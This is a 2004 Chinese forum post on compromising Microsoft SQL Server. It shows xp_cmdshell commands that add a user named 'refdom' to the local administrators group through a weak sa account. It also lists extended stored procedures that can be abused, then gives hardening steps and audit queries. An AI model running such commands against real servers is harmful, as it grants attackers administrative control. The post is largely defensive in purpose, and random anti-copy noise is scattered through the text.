找回密码
 立即加入
搜索

查看: 1841|回复: 0

mssql入侵计算机

[复制链接]
雨凝 发表于 2004-6-7 20:20:32 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转闽南师范大学。

您需要 登录 才可以下载或查看,没有账号?立即加入

×
如果我们有一个能执行xp_cmdshell的数据库帐号,比如是空口令的sa帐号。那么我们可以执行这样的命令:  
* Q, w! n. B& ?+ Y1 c8 k/ x6 [4 R8 P# f$ o
! D5 h; T( H  o+ c3 _
<>exec xp_cmdshell 'net user refdom 123456 /add' , @; t) i8 `! A2 v0 W: b
exec xp_cmdshell 'net localgroup administrators refdom /add' </P>
, ^7 K* k* D# F( J0 {0 H2 x# i<>上面两次调用就在系统的管理员组中添加了一个用户:refdom </P># U: Y) B2 v" n9 F9 X
<>当我们获得数据库的sa管理员帐号后,就应该可以完全控制这个机器了。可见数据库安全的重要性。 </P>
& t0 @  q" r% Q" b2 y$ r/ }% r1 S<>下面这些存储过程都是对Public可以执行的: ' O8 j( u! p( l/ I6 y- v* x5 ^
xp_fileexist,用来确定一个文件是否存在。
; ^' P* r" b3 f3 ^7 n( ]' hxp_getfiledetails,可以获得文件详细资料。
- n4 _" h, J, D# p; ixp_dirtree,可以展开你需要了解的目录,获得所有目录深度。 2 C- b- z$ c1 s4 K- P
Xp_getnetname,可以获得服务器名称。 </P>0 G$ {5 Q  Y; z  p* M) S3 Y
<>还有可以操作注册表的存储过程,这些不是对Public可以执行的,需要系统管理员或者授权执行: 9 w& J- U7 A& q* g
Xp_regaddmultistring 3 s1 p. c' e$ L- L' d! X
Xp_regdeletekey 4 W8 }/ N5 \$ W, L
Xp_regdelete<I>value</I> + s$ V& u0 e7 [; R
Xp_regenum<I>value</I>s
/ v8 b  W9 j7 A9 G6 g) i. yXp_regread (对Public可以执行) ; h) C4 @1 b4 p' R# S
Xp_regremovemultistring * a& U- Q7 r8 y+ U
Xp_regwrite </P>
5 k$ B4 d* W1 B$ }% {<>; }! g/ K1 {8 ^6 Q0 f, Q; E! F/ b
SQL Server的安全配置 </P>
& r7 y' L6 `0 E% e6 H<>除跟着微软打满所有补丁外,还需要加强数据库的安全。 4 V- k; Y2 y2 b5 F9 V( w7 i7 @
首先,你需要加强象sa这样的帐号的密码,跟系统帐号的使用配置相似,一般操作数据库不要使用象sa这样的最高权限的帐号,而使用能满足你的要求的一般帐号。 </P>1 G* G6 n) E/ _2 T) X. @7 B, c/ N3 W; U
<>接着对扩展存储过程开始大屠杀,首先就是xp_cmdshell,还有就是上面那些一大堆存储过程,都drop吧,一般也用不着。 </P>, U9 h4 Q  Y5 B" W. }
<>执行:
3 ~$ t3 j& I. I0 f1 i7 T! f9 z) duse master
0 ]8 T0 `6 w, K) P- _" |& tsp_dropextendedproc 'xp_cmdshell' </P>& w% U* _& `( h- X' i
<>去掉guest帐号,阻止非授权用户访问。 </P>- K: R$ u5 R5 E/ e  w
<P>去掉不必要的网络协议。 </P>6 E. F' G% R; f9 g3 y3 T
<P>加强对数据库登陆的日志记录,最好记录所有登陆事件。可以用下面的简单DOS命令来查看日志: </P>
5 A2 E# C  B' V  `( Z1 A<P>findstr /C:"登录" d:\Microsoft SQL Server\MSSQL\LOG\*.* </P>* o' F2 g5 X: w1 C
<P>用管理员帐号定期检查所有帐号,是否密码为空或者过于简单,比如下面的语句: </P>
( _% h: {) L. V3 ^3 `& U* X<P>Use master 9 R/ _, q8 ~8 W) B0 V: Y7 M
Select name,Password from syslogins where password is null </P>. I, T+ L9 z0 P- K
<P>用下面语句对所有帐号,检查对存储过程和扩展存储过程的执行权,提防不必要的执行权限扩散: </P>$ O& I+ h! j+ d1 n( N& r
<P>Use master * @: w, O; g+ K5 c& ?1 t+ [
Select sysobjects.name From sysobjects, sysprotects Where sysprotects.uid = 0 AND xtype IN </P>9 R1 _7 n7 m9 U( \6 J
<P>('X','P') AND sysobjects.id = sysprotects.id </P>4 c! a6 q. i' o/ n2 w
<P>加强数据库的安全是非常重要的,有的数据库服务器是和WEB服务器隔离开的,这就同MAIL服务器一样,数据库的日志可能就基本很少去查看,这将会成为管理员的一个疏忽点。类似DNS、MAIL等等,数据库服务器往往成为各种入侵的跳板。 </P>- O4 ?, s5 ^& S. K% c: I* r; a! P. l: R
<P>当然,数据库服务器的安全和缺陷还有很多,还需要更多的研究。</P>
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
您需要登录后才可以回帖 登录 | 立即加入

本版积分规则

手机版|龙江曦月 ( 闽ICP备05009150号-1 )闽公安网备35060202000316

GMT+8, 2025-5-25 15:23 , Processed in 0.058600 second(s), 21 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表